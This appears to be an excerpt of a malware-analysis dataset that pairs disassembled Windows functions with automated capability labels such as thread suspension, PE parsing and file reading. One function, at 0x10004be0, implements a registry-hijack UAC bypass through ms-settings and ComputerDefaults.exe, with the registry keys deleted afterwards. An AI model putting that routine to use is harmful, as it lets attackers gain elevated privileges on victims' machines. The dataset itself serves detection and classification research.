joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001fe0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push edi
xor edi, edi
cmp dword [0x100529d8], 0x40
jae 0x100020d8
push esi
mov esi, dword [ebp + 8]
add esi, ecx
cmp esi, 0x80000000
jae 0x10002009
lea esi, [edi + 1]
jmp 0x1000200f
sub esi, 0x7fff0000
push ebx
mov ebx, dword [ebp + 0x10]
add ebx, ecx
cmp ebx, 0x80000000
jae 0x10002025
add ebx, 0x7ff80000
jmp 0x1000202a
mov ebx, 0xfff80000
xorps xmm0, xmm0
mov dword [ebp - 0x40], edi
lea eax, [ebp - 0x40]
push eax
movdqu xmmword [ebp - 0x3c], xmm0
movdqu xmmword [ebp - 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, ebx
jae 0x100020d6
lea esp, [esp]
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100020a7
cmp dword [ebp - 0xc], 0x10000
jne 0x1000209b
mov eax, dword [ebp - 0x10]
cmp eax, 0x6c
jb 0x1000209e
mov ecx, dword [ebp - 0x24]
cmp eax, ecx
jb 0x1000209e
lea eax, [ecx - 1]
xor edx, edx
add eax, esi
div ecx
push 0x20
imul eax, ecx
push 0x3000
push 0x6c
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x100020ab
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x1c]
add esi, eax
cmp esi, ebx
jb 0x10002050
test edi, edi
je 0x100020d6
xor eax, eax
lea ecx, [ecx]
cmp dword [eax*4 + 0x10052b10], 0
je 0x100020c9
inc eax
cmp eax, 0x40
jb 0x100020b0
pop ebx
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
inc dword [0x100529d8]
mov dword [eax*4 + 0x10052b10], edi
pop ebx
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x100020e0
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
mov eax, dword [0x1002c2e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push ecx
push 0
push 0x1fffff
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000218b
test esi, esi
je 0x1000218b
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x100021b5
push edi
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x2d0], 0x10001
push eax
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10002188
mov edx, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0x218]
cmp ecx, ebx
jb 0x10002188
mov eax, dword [ebp + 8]
add eax, ebx
cmp ecx, eax
jae 0x10002188
push esi
call edx
cmp edi, 3
jge 0x1000219b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2d0]
inc edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x10002145
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001147c
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001147c
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1001147c
mov esp, ebp
pop ebp
ret
Function at 0x100021d0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0xf
mov dword [ebp - 4], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor esi, esi
cmp dword [0x100529e4], esi
jbe 0x10002226
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x100529e0]
push dword [eax + esi*4]
call ebx
mov eax, dword [0x100529e0]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [0x100529e4]
jb 0x10002204
pop ebx
push dword [0x100529e0]
call fcn.10011fea
add esp, 4
mov dword [0x100529e0], 0
mov dword [0x100529e4], 0
push dword [ebp - 4]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4020f0
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x404cdb
push eax
mov dword fs:[0], esp
sub esp, 0x108
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_FindWindowExA]
push esi
push edi
push 0
push 0
push 0
push 0
call ebp
mov esi, eax
test esi, esi
je 0x40221d
mov edi, dword [sym.imp.USER32.dll_GetWindowLongA]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xfffffffffffffff0
push esi
call edi
test eax, 0x10000000
je 0x40216b
test al, 8
jne 0x40216b
lea eax, [esp + 0x18]
push 0x100
push eax
push esi
call ebx
mov al, byte [esp + 0x18]
test al, al
je 0x40216b
lea ecx, [esp + 0x18]
push ecx
call fcn.00401fe0
add esp, 4
test eax, eax
je 0x40217f
push 0
push 0
push esi
push 0
call ebp
mov esi, eax
test esi, esi
jne 0x402135
jmp 0x40221d
lea edx, [esp + 0x18]
lea ecx, [esp + 0x10]
push edx
call fcn.004044ca
lea ecx, [esp + 0x10]
mov dword [esp + 0x120], 0
call sub.MFC42.DLL_CString::MakeLower
push str.internet_explorer
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
or edi, 0xffffffff
push ecx
cmp eax, edi
mov ecx, esp
je 0x4021ce
lea eax, [esp + 0x14]
mov dword [esp + 0x18], esp
push eax
call sub.MFC42.DLL_CString::CString_2
call fcn.00401c80
jmp 0x4021e1
lea edx, [esp + 0x14]
mov dword [esp + 0x18], esp
push edx
call sub.MFC42.DLL_CString::CString_2
call fcn.00401eb0
add esp, 4
test eax, eax
je 0x40220d
cmp dword [0x407500], esi
je 0x40220d
lea ecx, [esp + 0x10]
mov dword [0x407500], esi
mov dword [esp + 0x120], edi
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40221f
lea ecx, [esp + 0x10]
mov dword [esp + 0x120], edi
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x118]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x114
ret
Function at 0x10029902
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1014063c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [fcn.1001fbc2]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.10028628
mov dword [ebp - 0x14], eax
cmp dword [0x101537a0], edi
jne 0x100299f3
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10029980
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10029ad3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10029ad3
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10029ad3
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x101537a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x101537a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x101537a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x101537b0], eax
test eax, eax
je 0x100299f0
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x101537ac], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10029a18
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10029a0b
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x10029a2d
push 4
pop eax
jmp 0x10029ad5
cmp dword [ebp - 0x14], edi
je 0x10029a2d
push dword [0x101537a0]
call dword [fcn.1001fbc6]
push 3
jmp 0x10029a12
mov eax, dword [0x101537ac]
mov ebx, dword [fcn.1001fbc6]
cmp eax, esi
je 0x10029a8b
cmp dword [0x101537b0], esi
je 0x10029a8b
push eax
call ebx
push dword [0x101537b0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10029a8b
test eax, eax
je 0x10029a8b
call ecx
test eax, eax
je 0x10029a80
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10029a80
test byte [ebp - 8], 1
jne 0x10029a8b
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10029abb
mov eax, dword [0x101537a4]
cmp eax, esi
je 0x10029ab8
push eax
call ebx
test eax, eax
je 0x10029ab8
call eax
mov edi, eax
test edi, edi
je 0x10029ab8
mov eax, dword [0x101537a8]
cmp eax, esi
je 0x10029ab8
push eax
call ebx
test eax, eax
je 0x10029ab8
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x101537a0]
call ebx
test eax, eax
je 0x10029ad3
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x10029ad5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10029096
leave
ret
Function at 0x100d5500
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
mov al, 1
mov ecx, 0
mov edx, dword [0x101537c8]
mov esi, dword [0x101537c4]
sub ecx, 1
mov edi, edx
add edi, ecx
imul edx, edi
and edx, 1
cmp edx, 0
sete ah
cmp esi, 0xa
setl bl
mov bh, ah
xor bh, 1
mov cl, bl
xor cl, 1
xor al, 0
mov ch, bh
and ch, 0
and ah, al
mov dl, cl
and dl, 0
and bl, al
or ch, ah
or dl, bl
xor ch, dl
or bh, cl
xor bh, 1
or al, 0
and bh, al
or ch, bh
test ch, 1
jne 0x100d55a6
jmp 0x100d5696
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
sub ecx, 0xe6bd55d8
add ecx, edx
add ecx, 0xe6bd55d8
cmp eax, ecx
setb bl
mov eax, dword [0x101537c8]
mov ecx, dword [0x101537c4]
mov edx, eax
sub edx, 0x2db43668
sub edx, 1
add edx, 0x2db43668
imul eax, edx
and eax, 1
cmp eax, 0
sete bh
cmp ecx, 0xa
setl al
mov ah, bh
and ah, al
xor bh, al
or ah, bh
test ah, 1
mov byte [esp + 0x13], bl
jne 0x100d5617
jmp 0x100d5696
mov al, byte [esp + 0x13]
test al, 1
jne 0x100d5628
jmp 0x100d568a
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, 0x101
mul edx
imul ecx, ecx, 0x101
add edx, ecx
mov ecx, dword [esp + 0x14]
movzx ecx, byte [ecx]
add eax, ecx
adc edx, 0
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], 0x1000193
call fcn.10023450
sub esp, 0x10
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
add eax, 1
mov dword [esp + 0x14], eax
jmp 0x100d5535
mov eax, dword [esp + 0x18]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x100d55a6
Function at 0x10004be0
Capabilities:
Create process on windows
Delete registry key
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x100b1040]
xor eax, esp
mov dword [esp + 0x118], eax
push esi
call fcn.10003780
call fcn.100048c0
call fcn.10003130
push 0x104
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 8]
push eax
push str.SoftwareClasses.pwnShellOpencommand
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004c38
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
push eax
lea eax, [esp + 0x14]
push eax
push 1
push 0
push 0x10034e1d
push dword [esp + 0x1c]
call esi
push 1
push 0x10034e1d
push 1
push 0
push str.DelegateExecute
push dword [esp + 0x1c]
call esi
lea eax, [esp + 0xc]
push eax
push str.SoftwareClassesms_settingsCurVer
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
push str..pwn
push 1
push 0
push 0x10034e1d
push dword [esp + 0x20]
call esi
push 5
push 0
push 0
push str.C:WindowsSystem32ComputerDefaults.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
push str.SoftwareClassesms_settings
push SysReAllocString
call esi
push str.SoftwareClasses.pwn
push SysReAllocString
call esi
mov ecx, dword [esp + 0x11c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.1000a5f0
mov esp, ebp
pop ebp
ret
Function at 0x10005270
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x100052a2
jl 0x10005295
test ecx, ecx
jne 0x100052a2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10005362
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.100072e0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1000530e
jg 0x100052cd
test esi, esi
je 0x1000530e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x100052e5
mov eax, dword [esp + 0x10]
jl 0x100052df
cmp eax, esi
jae 0x100052e5
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.1000e420
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1000532f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x1000534b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x100052b4
jl 0x1000534b
test ecx, ecx
jne 0x100052b4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x100053a6
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x100053a6
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.1000e420
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x10005417
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x100053cc
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x10005402
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.1001763c
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10005417
cmp edi, eax
ja 0x100053e0
test edi, edi
je 0x10005417
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.1001763c
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10007ee0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b810
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100b1040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.1000a805
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000b8c0
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.10007aa0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10017eb5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10017ef4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10017ef4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10017ef4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10017ef4
cmp dword [ecx + 0x74], 0xe
jbe 0x10017ef4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001d55a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10031218
push 0x10031210
push str.FlsAlloc
push 0x1f
call fcn.1001d422
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d58e
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002d1f0]
call esi
jmp 0x1001d594
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001d5d8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10031228
push 0x10031220
push str.FlsGetValue
push 0x21
call fcn.1001d422
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d60f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002d1f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001d617
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10031230
push 0x10031228
push str.FlsSetValue
push 0x22
call fcn.1001d422
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d651
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1002d1f0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001ffb4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1002b180
mov eax, dword [0x100b1040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1001ad82
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1001fff6
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10020152
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1002b1b0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100b2c08]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.100217a2
mov ecx, dword [esi*4 + 0x100b2c08]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1002014b
cmp eax, dword [ecx + edi + 0x24]
jne 0x1002014b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002014b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100217a2
add esp, 0x14
test edx, edx
jl 0x1002014b
jg 0x100200c1
test eax, eax
jb 0x1002014b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1002014b
jl 0x100200db
cmp dword [ebp - 0x1008], eax
ja 0x1002014b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x100200f9
test ebx, ebx
je 0x10020132
cmp ecx, edi
jae 0x10020132
mov al, byte [ecx]
cmp al, 0xd
jne 0x10020113
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1002011f
cmp byte [ecx + 1], 0xa
jne 0x1002011f
inc ecx
jmp 0x1002011f
movzx eax, al
movsx eax, byte [eax + 0x100b1300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x100200f9
cmp edx, ebx
jne 0x100200f9
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10020150
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1000a5f0
leave
ret
Function at 0x10020c3a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100b2c08]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10020c7a
cmp byte [ebx], 0xa
jne 0x10020c7a
or byte [edi + eax + 0x28], 4
jmp 0x10020c7f
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10020d7e
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10020d61
inc eax
cmp dl, 0xd
je 0x10020cab
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10020cd1
cmp eax, ecx
jae 0x10020cdf
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10020c93
jmp 0x10020d7e
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10020d5c
cmp dword [ebp - 0x10], 0
je 0x10020d5c
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x100b2c08]
test byte [eax + edi + 0x28], 0x48
je 0x10020d36
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10020d21
mov byte [esi], dl
jmp 0x10020d32
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100b2c08]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10020d7e
cmp byte [ebp - 1], 0xa
jne 0x10020d45
cmp esi, ebx
jne 0x10020d45
mov byte [esi], 0xa
jmp 0x10020d7d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100217c0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10020d7e
mov byte [esi], 0xd
jmp 0x10020d7d
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x100b2c08]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10020d7b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10020d7e
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret